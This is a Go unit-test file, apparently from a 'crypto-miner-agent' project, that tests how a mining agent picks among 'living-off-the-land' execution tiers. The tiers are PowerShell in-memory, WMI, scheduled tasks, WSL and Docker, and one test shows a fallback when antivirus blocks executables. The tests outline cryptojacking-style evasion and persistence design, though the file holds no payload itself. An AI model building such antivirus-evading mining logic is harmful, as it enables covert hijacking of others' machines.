Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
238 lines
7.0 KiB
Go
238 lines
7.0 KiB
Go
package miner
|
|
|
|
import (
|
|
"runtime"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func baseProbes() EnvironmentProbes {
|
|
return EnvironmentProbes{
|
|
Docker: true,
|
|
WSL: true,
|
|
PowerShell: true,
|
|
DotNet: true,
|
|
GPU: true,
|
|
WebView2: true,
|
|
}
|
|
}
|
|
|
|
func testCfg(overrides config.BuiltinConfig) config.RuntimeConfig {
|
|
b := config.BuiltinConfig{
|
|
MinerExecution: ExecutionAuto,
|
|
PoolHost: "pool.example.com",
|
|
Wallet: "test-cmr-wallet",
|
|
}
|
|
if overrides.MinerExecution != "" {
|
|
b.MinerExecution = overrides.MinerExecution
|
|
}
|
|
if overrides.PoolHost != "" {
|
|
b.PoolHost = overrides.PoolHost
|
|
}
|
|
if overrides.Wallet != "" {
|
|
b.Wallet = overrides.Wallet
|
|
}
|
|
if overrides.GPUEnabled {
|
|
b.GPUEnabled = overrides.GPUEnabled
|
|
}
|
|
if overrides.RVNWallet != "" {
|
|
b.RVNWallet = overrides.RVNWallet
|
|
}
|
|
return config.RuntimeConfig{BuiltinConfig: b}
|
|
}
|
|
|
|
func chainContains(chain []LOTLTier, tier LOTLTier) bool {
|
|
for _, t := range chain {
|
|
if t == tier {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
func TestSelectMiningTierChainDefaultAuto(t *testing.T) {
|
|
chain, skipped := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
|
GPUEnabled: true,
|
|
RVNWallet: "rvn-wallet",
|
|
}))
|
|
if chain[0] != TierExeSubprocess {
|
|
t.Fatalf("chain[0]=%q want exe_subprocess full=%v", chain[0], chain)
|
|
}
|
|
if !chainContains(skipped, TierDockerLoad) {
|
|
t.Fatalf("docker_load should be skipped without image tar, skipped=%v", skipped)
|
|
}
|
|
for _, tier := range []LOTLTier{TierContainer, TierWSL, TierCPUInprocess, TierGPUSubprocess, TierStratumDirect} {
|
|
if !chainContains(chain, tier) {
|
|
t.Fatalf("missing %q in chain=%v", tier, chain)
|
|
}
|
|
}
|
|
if runtime.GOOS == "windows" {
|
|
for _, tier := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask} {
|
|
if !chainContains(chain, tier) {
|
|
t.Fatalf("windows chain missing %q: %v", tier, chain)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestSelectMiningTierChainAVBlocksExeSkipsSubprocess(t *testing.T) {
|
|
probes := baseProbes()
|
|
probes.AVBlocksExe = true
|
|
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
|
if chain[0] != TierContainer {
|
|
t.Fatalf("AV blocks exe should prefer container first, got %v", chain)
|
|
}
|
|
if !chainContains(skipped, TierExeSubprocess) {
|
|
t.Fatalf("expected exe_subprocess in skipped, got %v", skipped)
|
|
}
|
|
}
|
|
|
|
func TestSelectMiningTierChainNoDockerSkipsContainer(t *testing.T) {
|
|
probes := baseProbes()
|
|
probes.Docker = false
|
|
probes.AVBlocksExe = true
|
|
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
|
if chain[0] != TierWSL {
|
|
t.Fatalf("no docker should try WSL next, got %v", chain)
|
|
}
|
|
if !chainContains(skipped, TierContainer) {
|
|
t.Fatalf("expected container skipped, got %v", skipped)
|
|
}
|
|
}
|
|
|
|
func TestSelectMiningTierChainNoWSLFallsToPSInMemory(t *testing.T) {
|
|
probes := baseProbes()
|
|
probes.Docker = false
|
|
probes.WSL = false
|
|
probes.AVBlocksExe = true
|
|
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
|
if chain[0] != TierPSInMemory {
|
|
t.Fatalf("no WSL should try ps_inmemory, got %v", chain)
|
|
}
|
|
}
|
|
|
|
func TestSelectMiningTierChainNoGPUOmitsGPUSubprocess(t *testing.T) {
|
|
probes := baseProbes()
|
|
probes.GPU = false
|
|
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
|
GPUEnabled: true,
|
|
RVNWallet: "wallet",
|
|
}))
|
|
if chainContains(chain, TierGPUSubprocess) {
|
|
t.Fatalf("no GPU probe should omit gpu tier, chain=%v", chain)
|
|
}
|
|
if !chainContains(skipped, TierGPUSubprocess) {
|
|
t.Fatalf("expected gpu_subprocess skipped, got %v", skipped)
|
|
}
|
|
}
|
|
|
|
func TestSelectMiningTierChainInProcessMode(t *testing.T) {
|
|
chain, _ := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
|
|
MinerExecution: ExecutionInProcess,
|
|
}))
|
|
if chain[0] != TierCPUInprocess {
|
|
t.Fatalf("inprocess mode chain=%v want cpu_inprocess first", chain)
|
|
}
|
|
if !chainContains(chain, TierStratumDirect) {
|
|
t.Fatalf("inprocess mode should retain stratum overlay, chain=%v", chain)
|
|
}
|
|
}
|
|
|
|
func TestSelectMiningTierChainServerSkipTiers(t *testing.T) {
|
|
policy := MiningTierPolicy{
|
|
TierOrder: DefaultTierOrder,
|
|
SkipTiers: []LOTLTier{TierExeSubprocess, TierWSL},
|
|
}
|
|
chain, _ := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
|
if chain[0] != TierContainer {
|
|
t.Fatalf("server skip should start at container, got %v", chain)
|
|
}
|
|
}
|
|
|
|
func TestSelectMiningTierChainForceTier(t *testing.T) {
|
|
policy := MiningTierPolicy{ForceTier: TierCPUInprocess}
|
|
chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
|
if len(chain) != 1 || chain[0] != TierCPUInprocess {
|
|
t.Fatalf("force tier chain=%v skipped=%v", chain, skipped)
|
|
}
|
|
}
|
|
|
|
func TestSelectMiningTierChainAtlasSkipOmitsTier(t *testing.T) {
|
|
policy := MiningTierPolicy{
|
|
TierOrder: DefaultTierOrder,
|
|
SkipTiers: []LOTLTier{TierPSInMemory},
|
|
}
|
|
chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
|
|
if chainContains(chain, TierPSInMemory) {
|
|
t.Fatalf("atlas/policy skip should omit ps_inmemory from chain=%v", chain)
|
|
}
|
|
if !chainContains(skipped, TierPSInMemory) {
|
|
t.Fatalf("expected ps_inmemory in skipped=%v", skipped)
|
|
}
|
|
}
|
|
|
|
func TestTierOrchestratorAtlasSkipNotAttempted(t *testing.T) {
|
|
probes := baseProbes()
|
|
policy := MiningTierPolicy{
|
|
TierOrder: []LOTLTier{TierPSInMemory, TierCPUInprocess},
|
|
SkipTiers: []LOTLTier{TierPSInMemory},
|
|
}
|
|
o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
|
|
StartInProcess: func() error { return nil },
|
|
}, nil)
|
|
|
|
tier, err := o.TryChain(t.Context())
|
|
if err != nil {
|
|
t.Fatalf("TryChain: %v", err)
|
|
}
|
|
if tier != TierCPUInprocess {
|
|
t.Fatalf("active=%q want cpu_inprocess", tier)
|
|
}
|
|
for _, a := range o.Report().Attempts {
|
|
if a.Tier == TierPSInMemory {
|
|
t.Fatalf("atlas-skipped tier should not be attempted: %+v", a)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
|
|
probes := EnvironmentProbes{
|
|
Docker: false,
|
|
WSL: false,
|
|
PowerShell: false,
|
|
DotNet: false,
|
|
}
|
|
policy := MiningTierPolicy{TierOrder: []LOTLTier{TierExeSubprocess, TierCPUInprocess}}
|
|
o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
|
|
StartInProcess: func() error { return nil },
|
|
}, nil)
|
|
|
|
tier, err := o.TryChain(t.Context())
|
|
if err != nil {
|
|
t.Fatalf("TryChain: %v", err)
|
|
}
|
|
if tier != TierCPUInprocess {
|
|
t.Fatalf("active=%q want cpu_inprocess", tier)
|
|
}
|
|
report := o.Report()
|
|
var exeAttempt, cpuAttempt *TierAttempt
|
|
for i := range report.Attempts {
|
|
switch report.Attempts[i].Tier {
|
|
case TierExeSubprocess:
|
|
exeAttempt = &report.Attempts[i]
|
|
case TierCPUInprocess:
|
|
cpuAttempt = &report.Attempts[i]
|
|
}
|
|
}
|
|
if exeAttempt == nil || cpuAttempt == nil {
|
|
t.Fatalf("expected exe + cpu attempts, got %v", report.Attempts)
|
|
}
|
|
if exeAttempt.Wallet != "test-cmr-wallet" || cpuAttempt.Wallet != "test-cmr-wallet" {
|
|
t.Fatalf("wallet must be identical: %v", report.Attempts)
|
|
}
|
|
if exeAttempt.OK {
|
|
t.Fatalf("stub tier should fail: %v", *exeAttempt)
|
|
}
|
|
}
|